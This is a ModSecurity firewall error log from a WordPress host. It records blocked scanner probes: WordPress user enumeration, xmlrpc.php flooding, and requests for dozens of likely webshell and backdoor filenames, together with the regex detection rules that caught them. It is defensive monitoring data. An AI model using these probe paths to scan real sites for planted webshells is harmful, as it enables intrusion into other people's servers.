[Wed Feb 04 00:27:49.984991 2026] [:error] [pid 42922:tid 42997] [client 34.68.179.232:53981] [client 34.68.179.232] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aYIiBWazX4WPS_dQRkjT8AAAAIw"]
[Wed Feb 04 00:27:51.558221 2026] [:error] [pid 42922:tid 42999] [client 34.68.179.232:53981] [client 34.68.179.232] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.68.179.232, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYIiB2azX4WPS_dQRkjT9QAAAI4"]
[Wed Feb 04 00:27:53.789521 2026] [:error] [pid 43028:tid 43032] [client 34.68.179.232:49475] [client 34.68.179.232] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.68.179.232, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYIiCVnHWnJD4cJC5Dv_3wAAAMI"]
[Wed Feb 04 00:27:56.217339 2026] [:error] [pid 42920:tid 42944] [client 34.68.179.232:52849] [client 34.68.179.232] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.68.179.232, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYIiDCix3YKltG4EU0m8CQAAAA8"]
[Wed Feb 04 00:27:58.527572 2026] [:error] [pid 42922:tid 43004] [client 34.68.179.232:56452] [client 34.68.179.232] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.68.179.232, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYIiDmazX4WPS_dQRkjUAQAAAJM"]
[Wed Feb 04 00:28:00.707628 2026] [:error] [pid 5148:tid 5163] [client 34.68.179.232:51608] [client 34.68.179.232] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.68.179.232, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYIiEL83HCHLtUIbS7ImPQAAAUw"]
[Wed Feb 04 00:28:00.707812 2026] [:error] [pid 5148:tid 5163] [client 34.68.179.232:51608] [client 34.68.179.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.68.179.232, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYIiEL83HCHLtUIbS7ImPQAAAUw"]
[Wed Feb 04 00:35:27.337463 2026] [:error] [pid 28720:tid 28726] [client 85.203.21.76:58387] [client 85.203.21.76] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/nrhogjyecktixbal0fnt5Cakc.php"] [unique_id "aYIjz2mRXm2bmr_sYiYKzAAAAQQ"]
[Wed Feb 04 00:35:27.630174 2026] [:error] [pid 5229:tid 5253] [client 85.203.21.115:49157] [client 85.203.21.115] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/znv3hcxz6mwjdz1jwxrxiCakc.php"] [unique_id "aYIjz0KmEgmJub93yUpH4QAAAZY"]
[Wed Feb 04 00:35:27.925010 2026] [:error] [pid 42920:tid 42932] [client 85.203.21.92:58883] [client 85.203.21.92] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aYIjzyix3YKltG4EU0m9zAAAAAM"]
[Wed Feb 04 00:35:28.222337 2026] [:error] [pid 43028:tid 43033] [client 85.203.21.109:47361] [client 85.203.21.109] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/deepseek_d.php"] [unique_id "aYIj0FnHWnJD4cJC5DsDNQAAAMM"]
[Wed Feb 04 00:35:28.530730 2026] [:error] [pid 43028:tid 43048] [client 85.203.21.138:33797] [client 85.203.21.138] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aYIj0FnHWnJD4cJC5DsDNwAAANI"]
[Wed Feb 04 00:35:28.830482 2026] [:error] [pid 43028:tid 43034] [client 85.203.21.137:61745] [client 85.203.21.137] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/adminfuns.php"] [unique_id "aYIj0FnHWnJD4cJC5DsDOgAAAMQ"]
[Wed Feb 04 00:35:29.133940 2026] [:error] [pid 43028:tid 43046] [client 85.203.21.153:57981] [client 85.203.21.153] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aYIj0VnHWnJD4cJC5DsDOwAAANA"]
[Wed Feb 04 00:35:29.432327 2026] [:error] [pid 43028:tid 43049] [client 85.203.21.92:39907] [client 85.203.21.92] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/pu9.php"] [unique_id "aYIj0VnHWnJD4cJC5DsDPgAAANM"]
[Wed Feb 04 00:35:29.732752 2026] [:error] [pid 42920:tid 42950] [client 85.203.21.74:23659] [client 85.203.21.74] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/uk5pqv0wksbuaourleCakc.php"] [unique_id "aYIj0Six3YKltG4EU0m90AAAABU"]
[Wed Feb 04 00:35:30.032481 2026] [:error] [pid 42922:tid 42996] [client 85.203.21.71:54017] [client 85.203.21.71] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/wp.php"] [unique_id "aYIj0mazX4WPS_dQRkjWEwAAAIs"]
[Wed Feb 04 00:35:30.329941 2026] [:error] [pid 42921:tid 42978] [client 85.203.21.152:64087] [client 85.203.21.152] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/hplfuns.php"] [unique_id "aYIj0oblShffGl-01oez7gAAAFQ"]
[Wed Feb 04 00:35:30.625934 2026] [:error] [pid 42922:tid 43008] [client 85.203.21.107:36129] [client 85.203.21.107] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/t.php"] [unique_id "aYIj0mazX4WPS_dQRkjWFgAAAJc"]
[Wed Feb 04 00:35:30.926281 2026] [:error] [pid 42921:tid 42976] [client 85.203.21.109:33321] [client 85.203.21.109] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aYIj0oblShffGl-01oez8QAAAFI"]
[Wed Feb 04 00:35:31.269606 2026] [:error] [pid 42920:tid 42946] [client 85.203.21.130:20451] [client 85.203.21.130] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/goods.php"] [unique_id "aYIj0yix3YKltG4EU0m91QAAABE"]
[Wed Feb 04 00:35:31.561766 2026] [:error] [pid 5148:tid 5170] [client 85.203.21.88:29931] [client 85.203.21.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/assets/"] [unique_id "aYIj0783HCHLtUIbS7IofwAAAVM"]
[Wed Feb 04 00:35:31.859819 2026] [:error] [pid 42920:tid 42939] [client 85.203.21.79:49719] [client 85.203.21.79] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/edit.php"] [unique_id "aYIj0yix3YKltG4EU0m91gAAAAo"]
[Wed Feb 04 00:35:32.152257 2026] [:error] [pid 42921:tid 42966] [client 85.203.21.115:29755] [client 85.203.21.115] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/file_content_657f93f532f3b/"] [unique_id "aYIj1IblShffGl-01oez8wAAAEg"]
[Wed Feb 04 00:35:32.443860 2026] [:error] [pid 28720:tid 28734] [client 85.203.21.135:21133] [client 85.203.21.135] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/test.php"] [unique_id "aYIj1GmRXm2bmr_sYiYK0AAAAQw"]
[Wed Feb 04 00:35:32.735445 2026] [:error] [pid 28720:tid 28732] [client 85.203.21.94:50107] [client 85.203.21.94] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/num.php"] [unique_id "aYIj1GmRXm2bmr_sYiYK0QAAAQo"]
[Wed Feb 04 00:35:33.029322 2026] [:error] [pid 5229:tid 5235] [client 85.203.21.152:55597] [client 85.203.21.152] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/"] [unique_id "aYIj1UKmEgmJub93yUpH6AAAAYQ"]
[Wed Feb 04 00:35:33.330970 2026] [:error] [pid 28720:tid 28746] [client 85.203.21.77:30145] [client 85.203.21.77] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/admin/"] [unique_id "aYIj1WmRXm2bmr_sYiYK1AAAARg"]
[Wed Feb 04 00:35:33.624763 2026] [:error] [pid 5229:tid 5233] [client 85.203.21.147:50681] [client 85.203.21.147] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aYIj1UKmEgmJub93yUpH7QAAAYI"]
[Wed Feb 04 00:35:33.924818 2026] [:error] [pid 42922:tid 43005] [client 85.203.21.98:58895] [client 85.203.21.98] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/ab.php"] [unique_id "aYIj1WazX4WPS_dQRkjWGwAAAJQ"]
[Wed Feb 04 00:35:34.232189 2026] [:error] [pid 42922:tid 42996] [client 85.203.21.71:61697] [client 85.203.21.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/fm.php"] [unique_id "aYIj1mazX4WPS_dQRkjWHAAAAIs"]
[Wed Feb 04 00:35:34.529641 2026] [:error] [pid 42922:tid 42990] [client 85.203.21.116:51977] [client 85.203.21.116] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/index/function.php"] [unique_id "aYIj1mazX4WPS_dQRkjWHQAAAIU"]
[Wed Feb 04 00:35:34.823967 2026] [:error] [pid 5148:tid 5174] [client 85.203.21.114:21949] [client 85.203.21.114] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aYIj1r83HCHLtUIbS7IoggAAAVc"]
[Wed Feb 04 00:35:35.184581 2026] [:error] [pid 42922:tid 43003] [client 85.203.21.150:47451] [client 85.203.21.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/filemanager.php"] [unique_id "aYIj12azX4WPS_dQRkjWIQAAAJI"]
[Wed Feb 04 00:35:35.478492 2026] [:error] [pid 43028:tid 43042] [client 85.203.21.85:49835] [client 85.203.21.85] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/"] [unique_id "aYIj11nHWnJD4cJC5DsDQgAAAMw"]
[Wed Feb 04 00:35:35.770602 2026] [:error] [pid 42922:tid 43007] [client 85.203.21.110:63171] [client 85.203.21.110] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aYIj12azX4WPS_dQRkjWJAAAAJY"]
[Wed Feb 04 00:35:36.063463 2026] [:error] [pid 43028:tid 43051] [client 85.203.21.150:54615] [client 85.203.21.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aYIj2FnHWnJD4cJC5DsDRAAAANU"]
[Wed Feb 04 00:35:36.357023 2026] [:error] [pid 42922:tid 42997] [client 85.203.21.79:58209] [client 85.203.21.79] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hello-plus/classes/ehp-sarang.php"] [unique_id "aYIj2GazX4WPS_dQRkjWJQAAAIw"]
[Wed Feb 04 00:35:36.653646 2026] [:error] [pid 5229:tid 5244] [client 85.203.21.71:27365] [client 85.203.21.71] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/network/cache/"] [unique_id "aYIj2EKmEgmJub93yUpH8gAAAY0"]
[Wed Feb 04 00:35:36.948885 2026] [:error] [pid 42922:tid 42993] [client 85.203.21.74:20471] [client 85.203.21.74] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-confiq.php"] [unique_id "aYIj2GazX4WPS_dQRkjWJwAAAIg"]
[Wed Feb 04 00:35:37.242273 2026] [:error] [pid 5229:tid 5242] [client 85.203.21.97:61063] [client 85.203.21.97] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/aatdgetgdg/main.php"] [unique_id "aYIj2UKmEgmJub93yUpH8wAAAYs"]
[Wed Feb 04 00:35:37.534371 2026] [:error] [pid 28720:tid 28740] [client 85.203.21.107:30209] [client 85.203.21.107] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aYIj2WmRXm2bmr_sYiYK2gAAARI"]
[Wed Feb 04 00:35:37.853945 2026] [:error] [pid 42922:tid 42990] [client 85.203.21.97:63747] [client 85.203.21.97] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/assets/images/selam.php"] [unique_id "aYIj2WazX4WPS_dQRkjWKgAAAIU"]
[Wed Feb 04 00:35:38.148662 2026] [:error] [pid 28720:tid 28723] [client 85.203.21.76:65255] [client 85.203.21.76] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aYIj2mmRXm2bmr_sYiYK2wAAAQE"]
[Wed Feb 04 00:35:38.442460 2026] [:error] [pid 42922:tid 43009] [client 85.203.21.95:54121] [client 85.203.21.95] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/Engine/template-singl-portfolio.php"] [unique_id "aYIj2mazX4WPS_dQRkjWKwAAAJg"]
[Wed Feb 04 00:35:38.735440 2026] [:error] [pid 42922:tid 42994] [client 85.203.21.81:47675] [client 85.203.21.81] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/js/"] [unique_id "aYIj2mazX4WPS_dQRkjWLQAAAIk"]
[Wed Feb 04 00:35:39.030154 2026] [:error] [pid 28720:tid 28743] [client 85.203.21.130:49497] [client 85.203.21.130] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/3PJcpMFsD8B.php"] [unique_id "aYIj22mRXm2bmr_sYiYK3gAAARU"]
[Wed Feb 04 00:35:39.367739 2026] [:error] [pid 43028:tid 43053] [client 85.203.21.72:55921] [client 85.203.21.72] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/"] [unique_id "aYIj21nHWnJD4cJC5DsDSQAAANc"]
[Wed Feb 04 00:35:39.660152 2026] [:error] [pid 5229:tid 5232] [client 85.203.21.93:41375] [client 85.203.21.93] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/upload/"] [unique_id "aYIj20KmEgmJub93yUpH9gAAAYE"]
[Wed Feb 04 00:35:39.955811 2026] [:error] [pid 5229:tid 5254] [client 85.203.21.141:28973] [client 85.203.21.141] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentyfive/patterns/template-singl-portfolio.php"] [unique_id "aYIj20KmEgmJub93yUpH9wAAAZc"]
[Wed Feb 04 00:35:40.251252 2026] [:error] [pid 5229:tid 5247] [client 85.203.21.139:62645] [client 85.203.21.139] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/advanced-product-fields-for-woocommerce/db.php"] [unique_id "aYIj3EKmEgmJub93yUpH-AAAAZA"]
[Wed Feb 04 00:35:40.542666 2026] [:error] [pid 42921:tid 42960] [client 85.203.21.100:23367] [client 85.203.21.100] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aYIj3IblShffGl-01oez9gAAAEI"]
[Wed Feb 04 00:35:42.463065 2026] [:error] [pid 28720:tid 28730] [client 85.203.21.138:43461] [client 85.203.21.138] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/blue/"] [unique_id "aYIj3mmRXm2bmr_sYiYK4wAAAQg"]
